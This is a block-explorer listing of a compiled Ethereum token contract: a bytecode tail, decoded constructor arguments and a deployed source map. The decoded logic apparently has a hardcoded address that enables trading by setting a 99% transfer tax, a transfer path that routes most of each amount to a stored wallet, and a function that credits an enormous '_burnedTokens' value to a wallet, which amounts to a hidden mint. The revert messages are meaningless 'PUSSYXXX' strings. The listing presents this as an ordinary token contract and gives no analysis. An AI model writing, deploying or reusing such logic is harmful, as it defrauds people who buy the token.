c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e0191906131b9565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611e715750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611ea05750600b5f9054906101000a900460ff16158015611e9f5750600b60019054906101000a900460ff165b5b80611f615750600b5f9054906101000a900460ff168015611f075750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611f60575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611fc5575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611fc457505f600a54145b5b612004576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ffb906133cc565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561204d575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612084575f80fd5b6120d48360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f1e90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506121658360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161220391906131b9565b60405180910390a3600191505092915050565b73bfa8713b0ed805800d56cbd10e96b22fb18fc15e73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612298576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228f9061370c565b60405180910390fd5b600b5f9054906101000a900460ff16156122e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122de90613774565b60405180910390fd5b5f8214612329576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612320906137dc565b60405180910390fd5b6063811461236c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236390613844565b60405180910390fd5b8160098190555080600a819055506001600b5f6101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a182826040516123e0929190613862565b60405180910390a15050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600b60029054906101000a900460ff16806124935750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806124c25750600b5f9054906101000a900460ff161580156124c15750600b60019054906101000a900460ff165b5b806125835750600b5f9054906101000a900460ff1680156125295750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015612582575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806125e7575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156125e657505f600a54145b5b612626576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261d906133cc565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156126a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161269d906138d3565b60405180910390fd5b600b60019054906101000a900460ff1615612aa6575f808390505f600a5411801561271e575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156127715750600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156127b65761279e6064612790600a5487612e5090919063ffffffff16565b612ec790919063ffffffff16565b91506127b38285612f1e90919063ffffffff16565b90505b6128068460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f1e90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128b88160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161299891906131b9565b60405180910390a35f821115612a9f576129f88260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612a9691906131b9565b60405180910390a35b5050612c91565b612af68260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f1e90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612ba88260045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c8891906131b9565b60405180910390a35b5050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d1b90613504565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612d92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d899061393b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f808303612e60575f9050612ec1565b5f8284612e6d9190613986565b9050828482612e7c91906139f4565b14612ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eb390613a6e565b60405180910390fd5b809150505b92915050565b5f808211612f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f01906133cc565b60405180910390fd5b8183612f1691906139f4565b905092915050565b5f82821115612f62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f5990613ad6565b60405180910390fd5b8183612f6e9190613af4565b905092915050565b5f808284612f849190613b27565b905083811015612fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fc090613ba4565b60405180910390fd5b8091505092915050565b5f80fd5b5f819050919050565b612fe981612fd7565b8114612ff3575f80fd5b50565b5f8135905061300481612fe0565b92915050565b5f6020828403121561301f5761301e612fd3565b5b5f61302c84828501612ff6565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561306c578082015181840152602081019050613051565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61309182613035565b61309b818561303f565b93506130ab81856020860161304f565b6130b481613077565b840191505092915050565b5f6020820190508181035f8301526130d78184613087565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f613108826130df565b9050919050565b613118816130fe565b8114613122575f80fd5b50565b5f813590506131338161310f565b92915050565b5f806040838503121561314f5761314e612fd3565b5b5f61315c85828601613125565b925050602061316d85828601612ff6565b9150509250929050565b5f8115159050919050565b61318b81613177565b82525050565b5f6020820190506131a45f830184613182565b92915050565b6131b381612fd7565b82525050565b5f6020820190506131cc5f8301846131aa565b92915050565b5f805f606084860312156131e9576131e8612fd3565b5b5f6131f686828701613125565b935050602061320786828701613125565b925050604061321886828701612ff6565b9150509250925092565b5f60ff82169050919050565b61323781613222565b82525050565b5f6020820190506132505f83018461322e565b92915050565b5f6020828403121561326b5761326a612fd3565b5b5f61327884828501613125565b91505092915050565b61328a816130fe565b82525050565b5f6020820190506132a35f830184613281565b92915050565b5f80604083850312156132bf576132be612fd3565b5b5f6132cc85828601612ff6565b92505060206132dd85828601612ff6565b9150509250929050565b5f80604083850312156132fd576132fc612fd3565b5b5f61330a85828601613125565b925050602061331b85828601613125565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061336957607f821691505b60208210810361337c5761337b613325565b5b50919050565b7f50555353595858585800000000000000000000000000000000000000000000005f82015250565b5f6133b660098361303f565b91506133c182613382565b602082019050919050565b5f6020820190508181035f8301526133e3816133aa565b9050919050565b7f50555353595858585858580000000000000000000000000000000000000000005f82015250565b5f61341e600b8361303f565b9150613429826133ea565b602082019050919050565b5f6020820190508181035f83015261344b81613412565b9050919050565b7f50555353595858585858585800000000000000000000000000000000000000005f82015250565b5f613486600c8361303f565b915061349182613452565b602082019050919050565b5f6020820190508181035f8301526134b38161347a565b9050919050565b7f50555353595858585858000000000000000000000000000000000000000000005f82015250565b5f6134ee600a8361303f565b91506134f9826134ba565b602082019050919050565b5f6020820190508181035f83015261351b816134e2565b9050919050565b7f50555353595858585858585858580000000000000000000000000000000000005f82015250565b5f613556600e8361303f565b915061356182613522565b602082019050919050565b5f6020820190508181035f8301526135838161354a565b9050919050565b7f50555353595858585858585858585858000000000000000000000000000000005f82015250565b5f6135be60108361303f565b91506135c98261358a565b602082019050919050565b5f6020820190508181035f8301526135eb816135b2565b9050919050565b7f58205055535359585858585858585858585858205800000000000000000000005f82015250565b5f61362660158361303f565b9150613631826135f2565b602082019050919050565b5f6020820190508181035f8301526136538161361a565b9050919050565b7f50555353595858585858585858585858585858585858580000000000000000005f82015250565b5f61368e60178361303f565b91506136998261365a565b602082019050919050565b5f6020820190508181035f8301526136bb81613682565b9050919050565b7f50555353595858585858585858585858585858000000000000000000000000005f82015250565b5f6136f660138361303f565b9150613701826136c2565b602082019050919050565b5f6020820190508181035f830152613723816136ea565b9050919050565b7f50555353595858585858585858585858585800000000000000000000000000005f82015250565b5f61375e60128361303f565b91506137698261372a565b602082019050919050565b5f6020820190508181035f83015261378b81613752565b9050919050565b7f50555353595858585858585858585858585858580000000000000000000000005f82015250565b5f6137c660148361303f565b91506137d182613792565b602082019050919050565b5f6020820190508181035f8301526137f3816137ba565b9050919050565b7f50555353595858585858585858585858585858585800000000000000000000005f82015250565b5f61382e60158361303f565b9150613839826137fa565b602082019050919050565b5f6020820190508181035f83015261385b81613822565b9050919050565b5f6040820190506138755f8301856131aa565b61388260208301846131aa565b9392505050565b7f50555353595858585858585858585858585858585858585820313233000000005f82015250565b5f6138bd601c8361303f565b91506138c882613889565b602082019050919050565b5f6020820190508181035f8301526138ea816138b1565b9050919050565b7f50555353595858585858585858000000000000000000000000000000000000005f82015250565b5f613925600d8361303f565b9150613930826138f1565b602082019050919050565b5f6020820190508181035f83015261395281613919565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61399082612fd7565b915061399b83612fd7565b92508282026139a981612fd7565b915082820484148315176139c0576139bf613959565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6139fe82612fd7565b9150613a0983612fd7565b925082613a1957613a186139c7565b5b828204905092915050565b7f50555353595858580000000000000000000000000000000000000000000000005f82015250565b5f613a5860088361303f565b9150613a6382613a24565b602082019050919050565b5f6020820190508181035f830152613a8581613a4c565b9050919050565b7f50555353595800000000000000000000000000000000000000000000000000005f82015250565b5f613ac060068361303f565b9150613acb82613a8c565b602082019050919050565b5f6020820190508181035f830152613aed81613ab4565b9050919050565b5f613afe82612fd7565b9150613b0983612fd7565b9250828203905081811115613b2157613b20613959565b5b92915050565b5f613b3182612fd7565b9150613b3c83612fd7565b9250828201905080821115613b5457613b53613959565b5b92915050565b7f50555353595858000000000000000000000000000000000000000000000000005f82015250565b5f613b8e60078361303f565b9150613b9982613b5a565b602082019050919050565b5f6020820190508181035f830152613bbb81613b82565b905091905056fea264697066735822122097f07879e70c28b02b6ce830a8a538061bf21d4f4337cb8fbb6836f5e2a967d264736f6c63430008150033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000bfa8713b0ed805800d56cbd10e96b22fb18fc15e000000000000000000000006d79f82328ea3da61e066ebb2f889ffffffffffff

-----Decoded View---------------
Arg [0] : _swapRouter (address): 0xBfA8713B0ED805800D56cbD10E96b22fb18fC15e
Arg [1] : _burnedTokens (uint256): 9999999999999999999999999999999999999999999999999

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 000000000000000000000000bfa8713b0ed805800d56cbd10e96b22fb18fc15e
Arg [1] : 000000000000000000000006d79f82328ea3da61e066ebb2f889ffffffffffff


Deployed Bytecode Sourcemap

840:7746:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6452:98;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;908:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3276:229;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;990:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3515:1616;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1402:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1366:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1052;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1527:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1331:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1291:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1481:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1093:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5367:149;;;;;;;;;;;;;:::i;:::-;;1225:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;948:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5524:408;;;;;;;;;;;;;:::i;:::-;;1439:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6558:844;;;:::i;:::-;;2849:417;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5940:504;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1255:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1148:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7410:1173;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5139:220;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6452:98;6523:10;6514:28;;;6535:6;6514:28;;;;;;:::i;:::-;;;;;;;;6452:98;:::o;908:29::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3276:229::-;3343:12;3405:6;3371:9;:21;3381:10;3371:21;;;;;;;;;;;;;;;:31;3393:8;3371:31;;;;;;;;;;;;;;;:40;;;;3452:8;3431:38;;3440:10;3431:38;;;3462:6;3431:38;;;;;;:::i;:::-;;;;;;;;3490:4;3483:11;;3276:229;;;;:::o;990:51::-;;;;:::o;3515:1616::-;3615:12;3599:5;2507:17;;;;;;;;;;;:40;;;;2528:11;:19;2540:6;2528:19;;;;;;;;;;;;;;;;;;;;;;;;;2507:40;:69;;;;2553:7;;;;;;;;;;;2552:8;:23;;;;;2564:11;;;;;;;;;;;2552:23;2507:69;:129;;;;2581:7;;;;;;;;;;;:30;;;;;2592:11;:19;2604:6;2592:19;;;;;;;;;;;;;;;;;;;;;;;;;2581:30;:54;;;;;2625:10;;;;;;;;;;;2615:20;;:6;:20;;;;2581:54;2507:129;:171;;;;2651:10;;;;;;;;;;;2641:20;;:6;:20;;;:36;;;;;2676:1;2665:7;;:12;2641:36;2507:171;2485:234;;;;;;;;;;;;:::i;:::-;;;;;;;;;3671:7:::1;3651:9;:16;3661:5;3651:16;;;;;;;;;;;;;;;;:27;;3643:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;3749:7;3717:9;:16;3727:5;3717:16;;;;;;;;;;;;;;;:28;3734:10;3717:28;;;;;;;;;;;;;;;;:39;;3709:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;3810:1;3795:17;;:3;:17;;::::0;3787:42:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3846:11;3876:22:::0;3901:7:::1;3876:32;;3927:11;;;;;;;;;;;:26;;;;;3952:1;3942:7;;:11;3927:26;:49;;;;;3966:10;;;;;;;;;;;3957:19;;:5;:19;;;;3927:49;:72;;;;;3981:11;:18;3993:5;3981:18;;;;;;;;;;;;;;;;;;;;;;;;;3980:19;3927:72;3923:198;;;4026:29;4051:3;4026:20;4038:7;;4026;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;4020:35;;4090:16;4102:3;4090:7;:11;;:16;;;;:::i;:::-;4073:33;;3923:198;4152:29;4173:7;4152:9;:16;4162:5;4152:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;4133:9;:16;4143:5;4133:16;;;;;;;;;;;;;;;:48;;;;4213:34;4232:14;4213:9;:14;4223:3;4213:14;;;;;;;;;;;;;;;;:18;;:34;;;;:::i;:::-;4196:9;:14;4206:3;4196:14;;;;;;;;;;;;;;;:51;;;;4283:3;4267:36;;4276:5;4267:36;;;4288:14;4267:36;;;;;;:::i;:::-;;;;;;;;4330:1;4324:3;:7;4320:503;;;4348:23;4382:42;4348:77;;4455:15;4448:22;;:3;:22;;::::0;4444:368:::1;;4524:35;4555:3;4524:9;:26;4534:15;4524:26;;;;;;;;;;;;;;;;:30;;:35;;;;:::i;:::-;4495:9;:26;4505:15;4495:26;;;;;;;;;;;;;;;:64;;;;4603:15;4587:37;;4596:5;4587:37;;;4620:3;4587:37;;;;;;:::i;:::-;;;;;;;;4444:368;;;4696:33;4725:3;4696:9;:24;4714:4;4696:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;4669:9;:24;4687:4;4669:24;;;;;;;;;;;;;;;:60;;;;4781:4;4757:35;;4766:5;4757:35;;;4788:3;4757:35;;;;;;:::i;:::-;;;;;;;;4444:368;4333:490;4320:503;4848:10;4839:19;;:5;:19;;;;:72;;;;;4894:17;4862:9;:16;4872:5;4862:16;;;;;;;;;;;;;;;:28;4879:10;4862:28;;;;;;;;;;;;;;;;:49;;4839:72;4835:265;;;4963:41;4996:7;4963:9;:16;4973:5;4963:16;;;;;;;;;;;;;;;:28;4980:10;4963:28;;;;;;;;;;;;;;;;:32;;:41;;;;:::i;:::-;4932:9;:16;4942:5;4932:16;;;;;;;;;;;;;;;:28;4949:10;4932:28;;;;;;;;;;;;;;;:72;;;;5044:10;5028:57;;5037:5;5028:57;;;5056:9;:16;5066:5;5056:16;;;;;;;;;;;;;;;:28;5073:10;5056:28;;;;;;;;;;;;;;;;5028:57;;;;;;:::i;:::-;;;;;;;;4835:265;5119:4;5112:11;;;;3515:1616:::0;;;;;;:::o;1402:27::-;;;;;;;;;;;;;:::o;1366:26::-;;;;:::o;1052:::-;;;;;;;;;;;;;:::o;1527:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;1331:25::-;;;;:::o;1291:27::-;;;;:::o;1481:36::-;;;;;;;;;;;;;:::o;1093:44::-;;;;;;;;;;;;;;;;;:::o;5367:149::-;2801:5;;;;;;;;;;;2787:19;;:10;:19;;;2779:42;;;;;;;;;;;;:::i;:::-;;;;;;;;;5469:1:::1;5433:39;;5454:5;;;;;;;;;;;5433:39;;;;;;;;;;;;5503:1;5487:5;;:18;;;;;;;;;;;;;;;;;;5367:149::o:0;1225:20::-;;;;;;;;;;;;;:::o;948:31::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5524:408::-;5573:7;;;;;;;;;;;5565:34;;;;;;;;;;;;:::i;:::-;;;;;;;;;5643:1;5621:24;;:10;;;;;;;;;;;:24;;;5613:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;5704:1;5689:12;;:16;5681:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;5762:29;5778:12;;5762:11;;:15;;:29;;;;:::i;:::-;5748:11;:43;;;;5829:39;5855:12;;5829:9;:21;5839:10;;;;;;;;;;;5829:21;;;;;;;;;;;;;;;;:25;;:39;;;;:::i;:::-;5805:9;:21;5815:10;;;;;;;;;;;5805:21;;;;;;;;;;;;;;;:63;;;;5895:10;;;;;;;;;;;5890:30;;;5907:12;;5890:30;;;;;;:::i;:::-;;;;;;;;5524:408::o;1439:31::-;;;;;;;;;;;;;:::o;6558:844::-;6598:10;2507:17;;;;;;;;;;;:40;;;;2528:11;:19;2540:6;2528:19;;;;;;;;;;;;;;;;;;;;;;;;;2507:40;:69;;;;2553:7;;;;;;;;;;;2552:8;:23;;;;;2564:11;;;;;;;;;;;2552:23;2507:69;:129;;;;2581:7;;;;;;;;;;;:30;;;;;2592:11;:19;2604:6;2592:19;;;;;;;;;;;;;;;;;;;;;;;;;2581:30;:54;;;;;2625:10;;;;;;;;;;;2615:20;;:6;:20;;;;2581:54;2507:129;:171;;;;2651:10;;;;;;;;;;;2641:20;;:6;:20;;;:36;;;;;2676:1;2665:7;;:12;2641:36;2507:171;2485:234;;;;;;;;;;;;:::i;:::-;;;;;;;;;6645:1:::1;6633:9;:13;6625:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;6691:14;6708:9;6691:26;;6744:1;6735:6;;:10;6731:664;;;6762:11;6776:27;6799:3;6776:18;6787:6;;6776;:10;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;6762:41;;6822:22;6847:15;6858:3;6847:6;:10;;:15;;;;:::i;:::-;6822:40;;6906:41;6932:14;6906:9;:21;6916:10;;;;;;;;;;;6906:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;6882:9;:21;6892:10;;;;;;;;;;;6882:21;;;;;;;;;;;;;;;:65;;;;6995:10;;;;;;;;;;;6971:51;;6988:4;6971:51;;;7007:14;6971:51;;;;;;:::i;:::-;;;;;;;;7052:1;7046:3;:7;7042:181;;;7101:33;7130:3;7101:9;:24;7119:4;7101:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;7074:9;:24;7092:4;7074:24;;;;;;;;;;;;;;;:60;;;;7193:4;7161:43;;7178:4;7161:43;;;7200:3;7161:43;;;;;;:::i;:::-;;;;;;;;7042:181;6747:487;;6731:664;;;7279:33;7305:6;7279:9;:21;7289:10;;;;;;;;;;;7279:21;;;;;;;;;;;;;;;;:25;;:33;;;;:::i;:::-;7255:9;:21;7265:10;;;;;;;;;;;7255:21;;;;;;;;;;;;;;;:57;;;;7360:10;;;;;;;;;;;7336:43;;7353:4;7336:43;;;7372:6;7336:43;;;;;;:::i;:::-;;;;;;;;6731:664;6610:792;6558:844:::0;:::o;2849:417::-;2935:12;2914:10;2507:17;;;;;;;;;;;:40;;;;2528:11;:19;2540:6;2528:19;;;;;;;;;;;;;;;;;;;;;;;;;2507:40;:69;;;;2553:7;;;;;;;;;;;2552:8;:23;;;;;2564:11;;;;;;;;;;;2552:23;2507:69;:129;;;;2581:7;;;;;;;;;;;:30;;;;;2592:11;:19;2604:6;2592:19;;;;;;;;;;;;;;;;;;;;;;;;;2581:30;:54;;;;;2625:10;;;;;;;;;;;2615:20;;:6;:20;;;;2581:54;2507:129;:171;;;;2651:10;;;;;;;;;;;2641:20;;:6;:20;;;:36;;;;;2676:1;2665:7;;:12;2641:36;2507:171;2485:234;;;;;;;;;;;;:::i;:::-;;;;;;;;;2997:7:::1;2972:9;:21;2982:10;2972:21;;;;;;;;;;;;;;;;:32;;2964:41;;;::::0;::::1;;3042:1;3027:17;;:3;:17;;::::0;3019:26:::1;;;::::0;::::1;;3086:34;3112:7;3086:9;:21;3096:10;3086:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;3062:9;:21;3072:10;3062:21;;;;;;;;;;;;;;;:58;;;;3151:27;3170:7;3151:9;:14;3161:3;3151:14;;;;;;;;;;;;;;;;:18;;:27;;;;:::i;:::-;3134:9;:14;3144:3;3134:14;;;;;;;;;;;;;;;:44;;;;3218:3;3197:34;;3206:10;3197:34;;;3223:7;3197:34;;;;;;:::i;:::-;;;;;;;;3254:4;3247:11;;2849:417:::0;;;;;:::o;5940:504::-;6034:42;6020:56;;:10;:56;;;6012:88;;;;;;;;;;;;:::i;:::-;;;;;;;;;6120:7;;;;;;;;;;;6119:8;6111:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;6183:1;6169:10;:15;6161:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;6242:2;6228:10;:16;6220:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;6290:10;6281:6;:19;;;;6321:10;6311:7;:20;;;;6352:4;6342:7;;:14;;;;;;;;;;;;;;;;;;6381:4;6367:11;;:18;;;;;;;;;;;;;;;;;;6401:35;6413:10;6425;6401:35;;;;;;;:::i;:::-;;;;;;;;5940:504;;:::o;1255:25::-;;;;;;;;;;;;;:::o;1148:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;7410:1173::-;7458:10;2507:17;;;;;;;;;;;:40;;;;2528:11;:19;2540:6;2528:19;;;;;;;;;;;;;;;;;;;;;;;;;2507:40;:69;;;;2553:7;;;;;;;;;;;2552:8;:23;;;;;2564:11;;;;;;;;;;;2552:23;2507:69;:129;;;;2581:7;;;;;;;;;;;:30;;;;;2592:11;:19;2604:6;2592:19;;;;;;;;;;;;;;;;;;;;;;;;;2581:30;:54;;;;;2625:10;;;;;;;;;;;2615:20;;:6;:20;;;;2581:54;2507:129;:171;;;;2651:10;;;;;;;;;;;2641:20;;:6;:20;;;:36;;;;;2676:1;2665:7;;:12;2641:36;2507:171;2485:234;;;;;;;;;;;;:::i;:::-;;;;;;;;;7517:7:::1;7492:9;:21;7502:10;7492:21;;;;;;;;;;;;;;;;:32;;7484:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;7578:11;;;;;;;;;;;7574:1002;;;7610:11;7643:22:::0;7668:7:::1;7643:32;;7710:1;7700:7;;:11;:39;;;;;7729:10;;;;;;;;;;;7715:24;;:10;:24;;;;7700:39;:67;;;;;7744:11;:23;7756:10;7744:23;;;;;;;;;;;;;;;;;;;;;;;;;7743:24;7700:67;7696:205;;;7797:29;7822:3;7797:20;7809:7;;7797;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;7791:35;;7866:16;7878:3;7866:7;:11;;:16;;;;:::i;:::-